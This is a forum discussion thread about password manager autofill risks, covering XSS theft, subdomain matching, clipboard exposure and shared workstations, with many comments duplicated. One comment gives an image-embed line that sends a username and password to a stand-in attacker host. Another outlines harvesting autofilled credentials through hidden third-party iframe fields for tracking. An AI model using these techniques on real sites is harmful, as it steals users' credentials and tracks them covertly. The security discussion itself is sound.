I'm quite aware of this ever since Samsung/Android started adding a whole interface for the clipboard and added integration with the keyboard (it shows some codes in the clipboard sometimes so you can quickly paste). Can the clipboard be accessed from other apps in the background? Probably?
I'm quite aware of this ever since Samsung/Android started adding a whole interface for the clipboard and added integration with the keyboard (it shows some codes in the clipboard sometimes so you can quickly paste). Can the clipboard be accessed from other apps in the background? Probably?
Apple addressed this in iOS 15 with Secure Paste: https://www.macrumors.com/2021/06/08/ios-15-secure-paste/
Clipboard clears after 10 seconds.
This is less secure than autofill, though it automatic autofill. At least autofill won’t enter your password for office.com on off1ce.com, though it’s possible that a human be fooled by a lookalike URL.
I don’t see the vulnerability. His demo collects credentials then displays them ... all on the same domain websecurity.dev
So what? What am I missing?
How will he exfiltrate the data? With JS that posts it to another domain?
So what? What am I missing?
How will he exfiltrate the data? With JS that posts it to another domain?
> How will he exfiltrate the data? With JS that posts it to another domain?
Exactly. Alternatively, you can also use embeds, for example `<img src="https://evil.com/$user/$password" >`.
If you have your code running and the credentials, exfiltration is no longer a problem.
Exactly. Alternatively, you can also use embeds, for example `<img src="https://evil.com/$user/$password" >`.
If you have your code running and the credentials, exfiltration is no longer a problem.
If the attacker has XSS and gets the password, exfiltration is the easy part. JS offers many options, starting with fetch.
If they can run arbitrary JS on the site, can't they just change the target of the login form to their own server and exfiltrate credentials whether you used a password manager to fill them in or not? I'd be much more interested if you could exfiltrate without arbitrary JS, maybe in an img embed with the password injected into the URL or something?
But autofill also adds a huge amount of safety. If I don't get an password autofill suggestion from my password manager, I'm going to be checking the site I'm on carefully to be sure it's not a phishing site.
I agree, the danger of password theft seems rather low, but I wonder if this mechanism could be abused for tracking.
Imagine you're Facebook and you want to track your users on non-Facebook sites. Traditionally, this would be done with some iframe-embedded widget and 3rd-party cookies. But browsers are increasingly phasing out 3rd-party cookies, so that won't work anymore in the near future.
As an alternative, the widget could embed a username and password field. When the browser autofills the field, a script sends the credentials to Facebook, along with the site's URL. The account can be linked up without any cookies involved.
(This makes some assumptions I haven't verified: That autofill works in 3rd-party iframes and that the user gesture can be outside the iframe)
In more limited scope, this works for first-party cookies as well: If you logged out of a site and cleared your cookies, the site could use the autofilled credentials to associate your guest session with your account even without you actively logging in.
Imagine you're Facebook and you want to track your users on non-Facebook sites. Traditionally, this would be done with some iframe-embedded widget and 3rd-party cookies. But browsers are increasingly phasing out 3rd-party cookies, so that won't work anymore in the near future.
As an alternative, the widget could embed a username and password field. When the browser autofills the field, a script sends the credentials to Facebook, along with the site's URL. The account can be linked up without any cookies involved.
(This makes some assumptions I haven't verified: That autofill works in 3rd-party iframes and that the user gesture can be outside the iframe)
In more limited scope, this works for first-party cookies as well: If you logged out of a site and cleared your cookies, the site could use the autofilled credentials to associate your guest session with your account even without you actively logging in.
Bitwarden uses manual autofill which is nice. You hit ctrl shift L to fill
I wish it wasn't such a weird key combo though, it would be nice to do it with 1 hand.
i use keepassxc and have auto-type it set to alt+x which is very quick to execute with either hand. you can even just use your thumb to hit both keys at the same time!
I tend to forget that Shift and Ctrl is placed also on right side. (unless the keyboard is < 65%)
Use AutoHotKey to change it?
yeah i have it autofill (its a feature now) but it doesnt auto login. so i built an extension that waits for it to fill it in and then performs some safety checks and then logs in.
finally the bliss i had with lastpass before i was forced to move to bitwarden.
finally the bliss i had with lastpass before i was forced to move to bitwarden.
Can I get me some of that extension?
https://i.pinimg.com/originals/cb/14/5d/cb145d466f1958ec101f...
https://i.pinimg.com/originals/cb/14/5d/cb145d466f1958ec101f...
here you go https://hastebin.com/cezuyehaxo.js
Well it still recognises to autofill in the password on a different subdomain as shown in the PoC by default, which is not good at all.
To Downvoters: So in the PoC [0] with the default settings the author is completely wrong about their findings? even if you 'manually' autofill in the fields?
So you are saying that the password DOESN'T get extracted out of Bitwarden from a different subdomain than where the login data was stored on by default then?
[0] https://marektoth.com/blog/password-managers-autofill/
To Downvoters: So in the PoC [0] with the default settings the author is completely wrong about their findings? even if you 'manually' autofill in the fields?
So you are saying that the password DOESN'T get extracted out of Bitwarden from a different subdomain than where the login data was stored on by default then?
[0] https://marektoth.com/blog/password-managers-autofill/
There is a setting in URL of the password called "Match Detection"[1]. You can change it to "Host" if don't want it to match subdomain.
[1]: https://bitwarden.com/help/article/uri-match-detection/#matc...
[1]: https://bitwarden.com/help/article/uri-match-detection/#matc...
> by default
This is the point parent and the source article are making. Not whether or not it’s possible to be configured more securely.
This is the point parent and the source article are making. Not whether or not it’s possible to be configured more securely.
I was fully prepared to berate this article for encouraging manual copy-pasting, which makes people far more prone to phishing attacks. However, it makes this important clarification:
> Autofill can be 2 types: automatic autofill (autofilling a password without user interaction) and manual autofill (autofilling a password after some user interaction - clicking in the password manager's UI). In the following article, the term autofill always means automatic autofill.
> Autofill can be 2 types: automatic autofill (autofilling a password without user interaction) and manual autofill (autofilling a password after some user interaction - clicking in the password manager's UI). In the following article, the term autofill always means automatic autofill.
I wrote a little blog post about this in 2016: https://medium.com/@stabbles/why-you-should-disable-autofill...
I'm confused because on my Pixel 4 where I use the built-in password manager (for Chrome and for apps) you always have to interact with the UI (not just the site) to agree to fill in the password but it's not at all inconvenient and sounds like it wouldn't allow the sort of weaknesses that the article describes. I confirmed on a site that i know has only one set of credentials stored (so it wasn't giving me a false sense of security due to that). Is there more than one form of Google password manager available, ie a regular version and a Pixel version?
If login credentials are leaked on a site, it does not necessarily mean that an attacker has accessed the database. He could have just exploited an XSS or other client-side vulnerability and obtained login credentials from users who only followed the advice that they should use a password manager. So please, if recommending password managers, supply that users turn off autofill or be set to fill only upon user request by clicking in password manager's UI.
In my opinion, XSS is not a security issue autofill should deal with at all.
The real issue is if attackers can trick the autofill to fill in a password for a different site. I did a pentest for a password manager a few years ago, and if I remember correctly this type of exploit had been successful against multiple of the big password managers.
The real issue is if attackers can trick the autofill to fill in a password for a different site. I did a pentest for a password manager a few years ago, and if I remember correctly this type of exploit had been successful against multiple of the big password managers.
I disable all autofill as one of the first things I do on a new computer. Not just for passwords, for everything.
No shit sherlock!!!
This headline reads like "If you shoot yourself in the foot, it might hurt!" :-)
''After all, remembering dozens of unique passwords is almost impossible.''
It's not dosens but hundreds, and it is impossible if the passwords are secure. The article may have good information, but the advice of turning off autofill and going back to remembering passwords is terrible.
It's not dosens but hundreds, and it is impossible if the passwords are secure. The article may have good information, but the advice of turning off autofill and going back to remembering passwords is terrible.
Please add features like secure notes, secure random password generator, credit cards, etc. And add premium features for M365 customers
This is my password manager now and going to replace LastPass once above mentioned featured arrived
This is my password manager now and going to replace LastPass once above mentioned featured arrived
Where is the input of the pwd fields saved? Is it hashed then discarded before it goes to database? Are the input events logged? Clipboard?
Never seen an explanation of any of the pwd managers and am curious.
Never seen an explanation of any of the pwd managers and am curious.
If I weren't using autofill, then I would be re-using the same password for virtually every site. Because memorizing dozens or hundreds of strong passwords, many of which are forced to change periodically, is simply not humanly feasible.
So pick your poison. Passwords suck, and you're vulnerable no matter how you approach them. Best you can do is 2FA or biometrics, and even that's not perfect either.
So pick your poison. Passwords suck, and you're vulnerable no matter how you approach them. Best you can do is 2FA or biometrics, and even that's not perfect either.
You can use a password manager to store unique passwords, without enabling autofill. I have autofill disabled in my password manager and have to click a button manually, in order to populate my credentials
It looks like 1Password _offers_ autofill. That would seem okay?
Not mentioned in the article -- a good way to prevent Chrome from ever recognizing the "same" field and attempting to autofill it is to include and randomize a "name=" attribute on all <input> tags, or else name them with a string including a unique user id. This should always be done on web apps. Otherwise the next user on a public computer will see autofill options from previous users.
I’d prefer if you didn’t. I like 1Password knowing where to put my credentials when I ask it to.
It's not necessary on fields where type="password", since those aren't recorded by Chrome (unless you ask it to remember them). But for all other fields, the security of users on public machines far outweighs the convenience of autofill. And as I said, it can be tailored to individual users' uuids if they're logged in.
I don't think "users on public machines" are really a subset of people worth catering to at the expense of others.
Public machines without sandboxed user sessions seem largely uworkable in the first place - does anywhere actually do that? (I've never been to a library, school/university or workplace that does.)
Public machines without sandboxed user sessions seem largely uworkable in the first place - does anywhere actually do that? (I've never been to a library, school/university or workplace that does.)
I mostly develop in-house business apps. So a prime example would be an application used at a shared corporate workstation. It's also not just about preventing credentials from leaking -- literally any form that is used by multiple users several times a day will start to accrete autofills, and that needs to be prevented.
By the way, are you under the impression that most internet cafes scrub the browser autofill data once a paid user logs out, or that it isn't collected by the time apportionment software in places like China or Vietnam?
By the way, are you under the impression that most internet cafes scrub the browser autofill data once a paid user logs out, or that it isn't collected by the time apportionment software in places like China or Vietnam?
I find it surprising that there are corporations that are using shared workstations in that way. My company has shared workstations, but you need to log in with your own account, as has been the case for every one of my previous employers.
Modern operating systems and browsers seem like they’d have all kinds of pain points if they’re used by multiple users.
Modern operating systems and browsers seem like they’d have all kinds of pain points if they’re used by multiple users.
Yes. Imagine the front desk of a retail store, where each employee on their shift logs in, uses the software, and then logs out at the end of their shift. You don't want autofill to build up memory of customers or anything over their login period.
A shared workstation should still be using separate user accounts, or an "anonymous" account that is completely reset (files, cache, browser history, etc.) between logins if there is some reason user accounts aren't possible.
Think hotel chain with 2-3 employees at a checkin desk, plus a manager on a personal laptop and a franchise owner on a tablet off-site. We have nowhere near that level of control even over front desk machines. Can't even dictate whether they're mac or pc. The software has to do all the heavy lifting of verifying each device by SMS confirmation with the managers, but we have no control over how the machines are set up... I don't think they'd even know how to create multiple user accounts, and if they did, no one would actually log out or follow security protocols anyway.
The problem here is your initial recommendations is to "Break autofill for everyone on your website so there's not a security risk in a very few edge cases".
Note all of those edge cases are on computers that should have Auto-fill disabled as part of an IT policy.
Note all of those edge cases are on computers that should have Auto-fill disabled as part of an IT policy.
the problem is that autofill fields persist regardless of login credentials to a particular site, as long as Chrome detects the input fields to be the same. Like, try a standard form behind a login process... then log out and log in as another user... chrome will suggest what the last user entered if you don't rename the input field.
Admittedly my first thought was “Turn off the browser’s auto fill.” On reflection, guessing that, although the work is all in-house, the software team has no influence over the setup of the client devices?
If the devices are all under company control, I suppose they could still turn off auto fill. But in a big company that’s a lot of devices and probably comes out of another department’s budget. Then the auto fill behaviour becomes the web app’s problem, despite being a browser behaviour.
If the devices are all under company control, I suppose they could still turn off auto fill. But in a big company that’s a lot of devices and probably comes out of another department’s budget. Then the auto fill behaviour becomes the web app’s problem, despite being a browser behaviour.
We have every kind of laptop and mobile device logging in at different levels of access, along with retail stations requiring employee logins and customer facing microservices. At best we can kind of dictate that no one is allowed to use Internet Explorer. The Chrome autofill is a genuine problem on kiosks and workstations. We can barely get retail employees to figure out how to clear a browser cache, much less make them configure the preferences to how we'd like them to be. The front end code has to be written as if the employees have absolutely no clue how to use a computer.
I like password managers. It keeps people from writing them down on your desk or a notepad, so I'm all for it. I hate autofill. Any form of autofill, automated, user request, any of it. I would like people to just use a small button to open a 'mini instance' of the password manager, like an instant app (or app clips for iphones), and copy your password that way. Autofill is also a huge security risk, excluding if they use biometric authentication. If they use a pin code, forget it. If an attacker is on your device in the first place, chances are they have your pin code. Autofill needs to be deprecated.
I agree with much of what you said, but I think there is another advantage of autofill which I think copy and paste misses out on. If autofill usually works perfectly day after day, and then one day it fails, for example because the password manager fails to match the URL on a phishing site, its an extra clue that it's not the correct site. Of course this also works with non-automatic autofill, and the importance of the autofill failing could easily be overlooked anyway.
If an attacker is on your device, they very likely have access to your clipboard, so how is that more secure? I cringe whenever my password manager's autofill fails and I have to fall back to copy/pasting, because I know that I'm now storing my password in system memory in plaintext. Most password managers clear the clipboard after some timeout, but that's hardly helpful against an on-device threat
If the attacker has access to your device, you're going to be severely compromised no matter what you do. Why pretend otherwise?
True, if an attacker has control of your device you are probably screwed anyway, but there are still different degrees of screwed. There are more and less privileged portions of your system, and keeping sensitive data to less secure areas is still not a great idea. With browsers offering clipboard access as a JavaScript API, it is definitely an area I would consider less well secured than, say, read protected memory or a process-isolated browser extension sandbox.
Fair point, but I don't think you can _read_ the contents of the system clipboard, can you? I thought you could set it but had to wait for a paste event to read it.
It requires a permission request, but yes there's a browser API to read the clipboard contents https://developer.mozilla.org/en-US/docs/Web/API/Clipboard/r...
On iOS and Mac the clipboard is readable to all apps without interaction. (Eg slack allows login on Mac desktop by copy/pasting text from the browser. Chrome on iOS will auto paste from clipboard to show a target url)
Both of you're statements are valid. If an attacker has access to your device you are *severely* compromised and you can't do much. I am going off the idea that your password manager clears your clipboard history however, but this is a valid and true statement. The thing is: nothing will be 100% secure. Ever. But if we evolve our security at the same rate loopholes, etc are being found, we can prevent data breaches, identity theft, etc. Before it even happens.
I guess my feeling is that doing something like this when your machine is already compromised is a little like putting your key under the welcome mat instead of leaving it plainly visible. Perhaps for the very incurious attacker they won't get around it but it's not much effort to find.
yeah, on a win10 device hold the windows key and tap v
there is your copy paste history in plain text.
there is your copy paste history in plain text.
I like how gopass and gopass-bridge work on desktop in browser and avoid the clipboard and still be easy to use once setup, I just wish it was easier to setup. I use passwdsafe on Android and like that it replaces keyboard for entering credentials but dislike number of clicks it takes to work. Unfortunately neither seem to be that popular so will never grow to point that usability will get much better that others will also benefit.
really comes at the cost of convenience i just don't care thatttt much. for accounts that my real monies are in, i just dont keep them in account managers
If some site has an XSS vulnerability, then they've already got access to my session cookies, and have the ability to spoof a "you've been logged out, please log back in" screen where people could type in a password anyways.
If a site is vulnerable to XSS it's basically game over security-wise. Asking browsers and password managers not to autofill feels more like security theater at that point.
That being said, the browsers and password managers that require the username and password fields to actually be genuinely visible to the user on top, non-transparent, in the viewport, are doing the right commonsense thing, and really that seems entirely good enough.
(Obviously if you're a political dissident or a target of suspected corporate espionage or something then you'll take greater security precautions like not using a password manager at all for certain accounts -- I'm just talking about normal users here.)